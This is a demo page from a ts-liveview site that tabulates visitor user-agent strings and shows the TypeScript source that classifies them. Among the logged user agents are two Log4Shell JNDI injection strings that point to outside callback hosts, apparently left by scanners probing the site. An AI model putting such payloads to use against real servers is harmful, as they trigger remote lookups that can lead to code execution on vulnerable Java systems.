Live Four Chain Chess [git] Powered by ts-liveview

#visitor17779
#session612
#live-session0
Router Demo

User Agents of Visitors

This page demonstrates showing query result from database.

Below list of user agents are collected from the visitor's HTTP header.

User AgentCount
Bots7913
Other6728
Windows3856
MacOS3687
Android1906
Linux1680
iPhone350
iPad43
ChromeOS17
curl6
Links6
Lynx2
Wget1
Bot AgentCount
SemrushBot1583
AhrefsBot1168
FacebookBot995
InternetMeasurement945
YandexBot806
CensysInspect663
GoogleBot527
PaloBot479
DataForSeoBot257
BingBot213
BLEXBot100
DotBot64
PythonRequests45
NetcraftSurveyAgent39
MJ12Bot25
TelegramBot2
YahooBot1
DuckDuckGoBot1
Other User AgentsCount
Go-http-client/2.01
Google1
Google-Safety1
com.apple.WebKit.Networking/8614.1.25.0.31 CFNetwork/1390 Darwin/22.0.01
Client/18490 CFNetwork/1390 Darwin/22.0.01
Offline Explorer/2.51
Apache-HttpClient/5.1.3 (Java/11.0.16.1)1
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.361
Client/21661 CFNetwork/1399 Darwin/22.1.01
Go-http-client/1.11
url1
FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)1
Mozilla/5.0 (compatible; Yeti/1.1; +https://naver.me/spd)1
fasthttp1
${jndi:ldap://${hostName}.useragent.chanbpnffimps72fen506tsz7akwaya1t.oast.online}1
Mozilla/5.0 (compatible; Linespider/1.1; +https://lin.ee/4dwXkTH)1
${jndi:ldap://${:-933}${:-969}.${hostName}.useragent.cheiqdedgt9p8cf0l6ugnxdahq7xs5ido.oast.live}1
Mozilla/5.0 (compatible)1
firefox1
MicroMessenger1
Mozilla/5.0 (l9scan/2.0.934323e2631313e2430313e2237313; +https://leakix.net)1
Mozilla/5.0 zgrab/0.x1
Mozilla/5.0 researchscan.comsys.rwth-aachen.de1
RepoLookoutBot/v1.1.0-257-g0920a65 (abuse reports to abuse@repo-lookout.org)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.0; +https://openai.com/gptbot)1
BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)1
W3C_Validator/1.305.2.12 libwww-perl/5.641
Python/3.11 aiohttp/3.8.51
SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.01
Googlebot-News1
Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.361
Python/3.11 aiohttp/3.8.61
Mozilla/5.0 (X11; FreeBSD amd64; rv:109.0) Gecko/20100101 Firefox/113.01
AdsBot-Google ( http://www.google.com/adsbot.html)1
SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
SonyEricssonT68/R201A1
P3P Validator1
Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.31
Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.361
Mozilla/5.0 (PLAYSTATION 3; 1.10)1
Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.01
axios/0.24.01
Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)1
SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)1
Python/3.9 aiohttp/3.9.11
python-httpx/0.25.11
Python/3.10 aiohttp/3.9.01
Python/3.11 aiohttp/3.9.11
Apache/2.4.34 (Ubuntu) OpenSSL/1.1.1 (internal dummy connection)1
Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+1
Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)1
msnbot/1.1 ( http://search.msn.com/msnbot.htm)1
POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.11
Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a1
Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.151
SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
CCBot/2.0 (https://commoncrawl.org/faq/)1
msnbot/0.11 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+1
MobileSafari/600.1.4 CFNetwork/711.1.12 Darwin/14.0.01
Java/1.6.0_131
Client/36613 CFNetwork/1485 Darwin/23.1.01
Facebot1
SonyEricssonT100/R1011
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es501
Mozilla/2.02E (Win95; U)1
Mozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+1
Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.01
Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)1
BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.01
Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b31
msnbot/1.0 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.211
Twitterbot/1.01
Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.01
FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)1
Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.301
SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.31
SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)1
LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.11
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.01
Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/4131
SEC-SGHX210/1.0 UP.Link/6.3.1.13.01
MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)1
libwww-perl/5.8201
Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.01
facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)1
wii libnup/1.01
Adobe Application Manager 2.01
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.11
SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.01
Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.111
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/networks/ip-networks/deepfield/genome/)'1
Mozilla/5.0 (compatible; wpbot/1.0; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20100101 Firefox/10.0.121
SEMrushBot1
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es651
SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.01
Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)1
Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.01
Googlebot-Video/1.01
Xenu Link Sleuth/1.3.81
FriendlyCrawler/Nutch-1.20-SNAPSHOT1
shadowforce.io - sslshed/0.11
Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.251
Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.51
SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.101
Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20130108 Firefox/10.0.12 SeaMonkey/2.7.21
Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.151
Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.001
w3m/0.5.11
Googlebot/2.1 ( http://www.googlebot.com/bot.html)1
Friendly_Crawler/Nutch-1.20-SNAPSHOT1
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/4131
python-asks/3.0.01
Mozilla/5.0 (compatible; wpbot/1.1; +https://forms.gle/ajBaxygz9jSR8p8G9)1
EmailWolf 1.001
Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.01
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.361
SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)1
BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1231
SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)1
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)1
SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.01
LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.01
Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.131
Download Demon/3.5.0.111
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.351
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.51
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/ae4878c warc/v0.8.391
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)1
Mozilla/3.01Gold (Win95; I)1
Apache-HttpClient/4.5.6 (Java/1.8.0_412)1
Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.01
cc1
meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)1
WebZIP/3.5 (http://www.spidersoft.com)1
Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)1
Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)1
everyfeed-spider/2.0 (http://www.everyfeed.com)1
mozilla/5.0 (macintosh; u; intel mac os x 10_5_5) applewebkit/602.9 (khtml, like gecko) chrome/47.0.1142.256 safari/6031
mozilla/5.0 (windows; windows nt 6.0; wow64; en-us) gecko/20100101 firefox/71.81
SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.31
Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)1
mozilla/5.0 (windows; u; windows nt 10.2;; en-us) applewebkit/600.43 (khtml, like gecko) chrome/55.0.1015.143 safari/600.7 edge/13.816251
mozilla/5.0 (windows; windows nt 10.4;) applewebkit/533.29 (khtml, like gecko) chrome/49.0.1001.145 safari/600.6 edge/17.699441
mozilla/5.0 (windows; windows nt 10.0; x64; en-us) applewebkit/535.6 (khtml, like gecko) chrome/50.0.1809.305 safari/6011
mozilla/5.0 (windows; u; windows nt 6.0;; en-us) applewebkit/602.18 (khtml, like gecko) chrome/50.0.3290.348 safari/5351
Apache-HttpClient/4.5.6 (Java/1.8.0_422)1
RepoLookoutBot/v1.1.0-306-ge800ec6 (abuse reports to abuse@repo-lookout.org)1
Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/5251
Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.161
Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.01
Source Code of user-agents.tsx
(import statements omitted for simplicity, click to expand)
import { getUserAgents } from '../../../db/store.js'
import SourceCode from '../components/source-code.js'
import Style from '../components/style.js'
import { o } from '../jsx/jsx.js'
function classifyUserAgents(
  rows: Array<{ user_agent: string; count: number }>,
) {
  let Android = 0
  let iPhone = 0
  let iPad = 0
  let MacOS = 0
  let ChromeOS = 0
  let Windows = 0
  let Linux = 0
  let Kindle = 0
  let curl = 0
  let Wget = 0
  let Links = 0
  let Lynx = 0
  let YahooBot = 0
  let BingBot = 0
  let GoogleBot = 0
  let DuckDuckGoBot = 0
  let TwitterBot = 0
  let TelegramBot = 0
  let WhatsAppBot = 0
  let FacebookBot = 0
  let YandexBot = 0
  let MixrankBot = 0
  let PetalBot = 0
  let QwantBot = 0
  let BLEXBot = 0
  let AhrefsBot = 0
  let DotBot = 0
  let NeevaBot = 0
  let CiscoAnyConnect = 0
  let Other = 0
  let PythonRequests = 0
  let CensysInspect = 0
  let InternetMeasurement = 0
  let MJ12Bot = 0
  let NetcraftSurveyAgent = 0
  let PaloBot = 0
  let DataForSeoBot = 0
  let LinkdexBot = 0
  let BarkrowlerBot = 0
  let SemrushBot = 0
  let Nmap = 0
  let others = new Map<string, number>()

  rows.forEach(row => {
    let ua: string = row.user_agent
    let count: number = row.count
    if (ua.startsWith('TelegramBot')) TelegramBot += count
    else if (ua.startsWith('WhatsApp')) WhatsAppBot += count
    else if (ua.startsWith('AnyConnect')) CiscoAnyConnect += count
    else if (ua.startsWith('python-requests')) PythonRequests += count
    else if (ua.includes('http://help.yahoo.com/help/us/ysearch/slurp'))
      YahooBot += count
    else if (ua.includes('https://neeva.com/neevabot')) NeevaBot += count
    else if (ua.includes('www.bing.com/bingbot')) BingBot += count
    else if (ua.includes('paloaltonetworks.com')) PaloBot += count
    else if (ua.includes('https://nmap.org/book/nse.html')) Nmap += count
    else if (ua.includes('info@netcraft.com')) NetcraftSurveyAgent += count
    else if (ua.includes('https://webmaster.petalsearch.com/site/petalbot'))
      PetalBot += count
    else if (ua.includes('https://www.qwant.com/')) QwantBot += count
    else if (ua.includes('http://mj12bot.com/')) MJ12Bot += count
    else if (ua.includes('https://babbar.tech/crawler')) BarkrowlerBot += count
    else if (ua.includes('http://webmeup-crawler.com/')) BLEXBot += count
    else if (ua.includes('http://www.linkdex.com/bots/')) LinkdexBot += count
    else if (ua.includes('https://opensiteexplorer.org/dotbot')) DotBot += count
    else if (ua.includes('http://ahrefs.com/robot/')) AhrefsBot += count
    else if (ua.includes('http://www.google.com/bot.html')) GoogleBot += count
    else if (ua.includes('Googlebot-Image')) GoogleBot += count
    else if (ua.includes('http://duckduckgo.com')) DuckDuckGoBot += count
    else if (ua.includes('http://yandex.com/bots')) YandexBot += count
    else if (ua.includes('https://about.censys.io')) CensysInspect += count
    else if (ua.includes('crawler@mixrank.com')) MixrankBot += count
    else if (ua.includes('facebookexternalhit')) FacebookBot += count
    else if (ua.includes('http://www.semrush.com/bot.html')) SemrushBot += count
    else if (ua.includes('https://internet-measurement.com'))
      InternetMeasurement += count
    else if (ua.includes('https://dataforseo.com/dataforseo-bot'))
      DataForSeoBot += count
    else if (ua.includes('iPhone')) iPhone += count
    else if (ua.includes('iPad')) iPad += count
    else if (ua.includes('Macintosh')) MacOS += count
    else if (ua.includes('KFAPWI')) Kindle += count
    else if (ua.includes('curl')) curl += count
    else if (ua.includes('Wget')) Wget += count
    else if (ua.includes('Lynx')) Lynx += count
    else if (ua.includes('Links')) Links += count
    else if (ua.includes('Android') || ua.includes('Nokia')) Android += count
    else if (ua.includes('X11; CrOS x86_64')) ChromeOS += count
    else if (ua.includes('Windows')) Windows += count
    else if (ua.includes('Linux')) Linux += count
    else {
      Other += count
      others.set(ua, (others.get(ua) || 0) + 1)
    }
  })

  return {
    platforms: {
      Android,
      ChromeOS,
      iPhone,
      iPad,
      MacOS,
      Windows,
      Linux,
      Kindle,
      curl,
      Wget,
      Links,
      Lynx,
      Other,
    },
    bots: {
      BingBot,
      GoogleBot,
      YahooBot,
      DuckDuckGoBot,
      TwitterBot,
      FacebookBot,
      TelegramBot,
      WhatsAppBot,
      QwantBot,
      BLEXBot,
      PetalBot,
      NeevaBot,
      InternetMeasurement,
      MJ12Bot,
      NetcraftSurveyAgent,
      DataForSeoBot,
      LinkdexBot,
      BarkrowlerBot,
      SemrushBot,
      YandexBot,
      CiscoAnyConnect,
      AhrefsBot,
      DotBot,
      PythonRequests,
      CensysInspect,
      MixrankBot,
      PaloBot,
      Nmap,
    },
    others,
  }
}

function mapRows(counts: Record<string, number> | Map<string, number>) {
  return (
    counts instanceof Map
      ? Array.from(counts.entries())
      : Object.entries(counts)
  )
    .filter(entry => entry[1] > 0)
    .sort((a, b) => b[1] - a[1])
    .map(([ua, count]) => (
      <tr>
        <td>{ua}</td>
        <td>{count}</td>
      </tr>
    ))
}

function Tables() {
  let rows = getUserAgents()
  let { others, bots, platforms } = classifyUserAgents(rows)

  let Bots = Object.values(bots).reduce((acc, c) => acc + c)
  Object.assign(platforms, { Bots })

  let platformTable = (
    <table>
      <thead>
        <tr>
          <th>User Agent</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>{[mapRows(platforms)]}</tbody>
    </table>
  )

  let botTable = (
    <table>
      <thead>
        <tr>
          <th>Bot Agent</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>{[mapRows(bots)]}</tbody>
    </table>
  )

  if (others.size === 0) {
    return (
      <>
        {platformTable}
        {botTable}
      </>
    )
  }
  let otherTable = (
    <table>
      <thead>
        <th>Other User Agents</th>
        <th>Count</th>
      </thead>
      <tbody>{[mapRows(others)]}</tbody>
    </table>
  )
  return (
    <>
      {platformTable}
      {botTable}
      {otherTable}
    </>
  )
}

let UserAgents = (
  <div id="user-agents">
    <h2>User Agents of Visitors</h2>
    {Style(/* css */ `
#user-agents table {
  border-collapse: collapse;
  margin: 1rem;
  display: inline;
}
#user-agents th,
#user-agents td {
  border: 1px solid var(--text-color, black);
  padding: 0.25rem 0.5rem;
}
`)}
    <p>This page demonstrates showing query result from database.</p>
    <p>
      Below list of user agents are collected from the visitor's HTTP header.
    </p>
    <Tables />
    <SourceCode page="user-agents.tsx" />
  </div>
)

export default UserAgents